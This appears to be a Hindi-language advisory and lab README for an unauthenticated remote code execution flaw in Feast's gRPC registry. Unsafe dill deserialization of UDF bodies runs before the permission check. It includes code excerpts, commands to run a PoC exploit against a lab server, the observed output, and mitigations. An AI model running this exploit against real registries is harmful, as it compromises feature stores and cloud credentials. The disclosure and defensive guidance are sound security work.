
CVE-2026-56121 — Feast <0.63.0 gRPC रजिस्ट्री के माध्यम से अनधिकृत RCE (OnDemandFeatureView UDF का dill.loads पूर्व-प्रमाणीकरण)। प्रयोगशाला + PoC, e2e सत्यापित।
Feast
< 0.63.0रजिस्ट्री gRPC सर्वरdill.loads()एकOnDemandFeatureViewके उपयोगकर्ता-परिभाषित फंक्शन को जैसे ही कोई स्पेक आता है — किसी भी प्राधिकरण जांच से पहले लोड करता है। शिप किया गया कॉन्फ़िगauth: no_authहै, इसलिए कोई भी क्लाइंट जो रजिस्ट्री पोर्ट (डिफ़ॉल्ट6570) तक पहुँच सकता है, एक दुर्भावनापूर्ण पिकल के साथ एकApplyFeatureViewअनुरोध भेजकर अनधिकृत दूरस्थ कोड निष्पादन प्राप्त करता है।
| CVE | CVE-2026-56121 |
| प्रभावित | Feast < 0.63.0 |
| समाधान | 0.63.0 |
| वर्ग | CWE-502 (अविश्वसनीय डेटा का डिसीरियलाइज़ेशन) → RCE |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रमाणीकरण | कोई नहीं (auth: no_auth डिफ़ॉल्ट; डिसीरियलाइज़ेशन प्राधिकरण से पहले होता है) |
| हमले की सतह | रजिस्ट्री gRPC RegistryServer.ApplyFeatureView (डिफ़ॉल्ट पोर्ट 6570) |
| स्थिति | पुष्टि की गई — feast==0.62.0 के विरुद्ध एंड-टू-एंड प्रतिलिपि की गई |
sdk/python/feast/registry_server.py:
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
...
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # (1) deserialize
...
assert_permissions_to_update(resource=feature_view, ...) # (2) authorize
self.proxied_registry.apply_feature_view(...)
from_proto (1) को अनुमति जांच (2) से पहले बुलाया जाता है। यह ट्रांसफॉर्मेशन को पार्स करता है, जो UDF बॉडी को dill.loads() करता है —
sdk/python/feast/transformation/pandas_transformation.py (और python_transformation.py):
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # <-- attacker-controlled pickle
udf_string=user_defined_function_proto.body_text,
)
dill एक पिकल सुपरसेट है, इसलिए dill.loads() हमलावर बाइट्स पर पिकल __reduce__ तंत्र को लागू करता है → मनमाना कोड निष्पादन। क्योंकि यह assert_permissions_to_update से पहले चलता है — और डिफ़ॉल्ट auth: no_auth उस जांच को कोई प्रभाव नहीं बनाता — RCE अनधिकृत है।
# 1. Start a vulnerable registry server (feast 0.62.0, gRPC :6570, default no_auth)
docker compose -f lab/docker-compose.yml up --build -d
# 2. Fire the PoC (no credentials)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"
# 3. Command output appears on the registry host
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
# uid=...(...) <hostname>
अवलोकन किया गया:
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.
RPC अंततः त्रुटि देता है (अनपिकल की गई वस्तु अब एक कॉल करने योग्य UDF नहीं है), लेकिन कमांड dill.loads() के दौरान पहले ही चल चुकी थी — cat /tmp/feast_pwned लाइव id/uname आउटपुट देता है, जो प्रतिध्वनि के बजाय निष्पादन साबित करता है।
कोई भी व्यक्ति जो Feast रजिस्ट्री gRPC पोर्ट तक पहुँच सकता है, रजिस्ट्री सेवा खाते के रूप में मनमाना OS कमांड निष्पादित करता है — फीचर स्टोर और उससे जुड़े ऑफलाइन/ऑनलाइन स्टोर, रजिस्ट्रियों और क्लाउड क्रेडेंशियल्स का पूर्ण समझौता। Feast रजिस्ट्रियां अक्सर ML प्लेटफार्मों के अंदर SDK क्लाइंट्स द्वारा कॉल करने के लिए उजागर होती हैं।
skip_udf पथ जोड़ता है ताकि रजिस्ट्री सर्वर अब आने वाले स्पेक्स के UDF बॉडी को डिसीरियलाइज़ न करे।auth (oidc/kubernetes) सक्षम करें और रजिस्ट्री पोर्ट को अविश्वसनीय नेटवर्कों पर कभी उजागर न करें। ध्यान दें कि < 0.63.0 पर केवल प्रमाणीकरण पर्याप्त नहीं है, क्योंकि डिसीरियलाइज़ेशन प्राधिकरण जांच से पहले होता है।ApplyFeatureView / ApplyMaterialization RPCs के लिए रजिस्ट्री पर अलर्ट करें जिनका OnDemandFeatureView user_defined_function.body किसी विश्वसनीय क्लाइंट द्वारा उत्पन्न नहीं किया गया है, और रजिस्ट्री प्रक्रियाओं पर शेल स्पॉनिंग पर नज़र रखें।
प्रोटो पथ, डिसेर-पहले-प्राधिकरण क्रम और पैच के लिए ANALYSIS.md देखें।